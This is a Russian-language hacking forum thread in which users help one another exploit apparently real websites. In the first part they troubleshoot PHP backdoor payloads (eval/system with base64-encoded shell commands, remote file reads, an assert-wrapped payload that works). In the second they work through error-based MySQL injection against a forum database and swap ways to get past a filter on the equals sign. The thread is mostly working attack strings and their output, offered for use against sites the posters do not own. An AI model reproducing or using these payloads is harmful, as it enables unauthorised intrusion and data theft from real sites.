Вопросы по уязвимостям

[Ereeee]

Пробуй script.php?param=system(base64_decode($_GET[test]));&test=J2xzIC1hbCc

[nomad]

Нет, не работает. Даже system(base64_decode($_GET[test]));&test=bHMK не работает

[www-data]

Попробуй так file_get_contents($_GET[file])&file=http://domein.com/what_you_want.txt или лучше так

PHP код:

param=file_get_contents%28%24_GET%5Bfile%5D%29&file=http%3A//domein.com/what_you_want.txt 


[nomad]

Ни один вариант не работает

[euro]

copy,include
а php работает вообще ? может эвала нету давно)

[nomad]

Некоторые же команды работают, в т.ч. и простой phpinfo();

Боюсь, что ввел всех в заблуждение относительно методики создания бэкдора (описал по привычке стандартную схему). На самом деле код внедрен по способу, предложенному Белым Тигром здесь. Подозреваю, что именно здесь заключена проблема, но не знаю, как ее решить

[b3]

Кинь линк в пм что ли

UP: Странный очень eval там был, пришлось обернуть еще сверху assert. В пм ушло.

POST:

code=assert(base64_decode(c3lzdGVtKCdscyAtbGEnKTs) );exit;

[_xhugo]

нужна ваша помощь)

запрос

-1%' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID((SELECT table_name FROM information_schema.tables WHERE table_schema=0x68675f6462 Limit 0,1), FLOOR(RAND(0)*2), 64)) --

получаю

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 5SELECT ftm.subject, ftm.message, ft.title, ft.slug, ft.id, f.slug as forum_slug, fu.email, fu.signature, ftm.user_id, ftm.created_at as forum_created_at, fu.created_at as user_register, fu.post_count as user_post_count, fu.name, f.* FROM `forum_forum_topic_message` ftm
						LEFT JOIN `forum_forum_topic` ft ON ftm.`forum_topic_id`=ft.`id`
						LEFT JOIN `forum_forum` f ON ft.`forum_id`=f.`id`
						LEFT JOIN `forum_user` fu ON ftm.`user_id`=fu.`id`
						WHERE ftm.`subject` LIKE '%-1%' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID((SELECT table_name FROM information_schema.tables WHERE table_schema%'

как я понял что не нравится знак равно, т.к. пробовал не кодировать тоже самое на том же месте, можно ли обойти это?

[Белый Тигр]

Ошибка в самом конце итогового запроса

WHERE table_schema%'

Похоже что передаваемый тобою параметр обрезается до определённой длины и потом уже помещается в запрос.

[cat1vo]

_xhugo
Недавно было тоже самое, ему как ты правильно понял не нравится знак равно, у меня срабатывали варианты:

WHERE table_schema!='information_schema'
WHERE table_schema LIKE ('%hg_db%')
WHERE table_schema IN ('hg_db')

З.Ы. Судя по названию базы данных я знаю даже, что это за сайт. Удивительно, что администрация не закрыла уязвимость, т.к. были проинформированы о ней!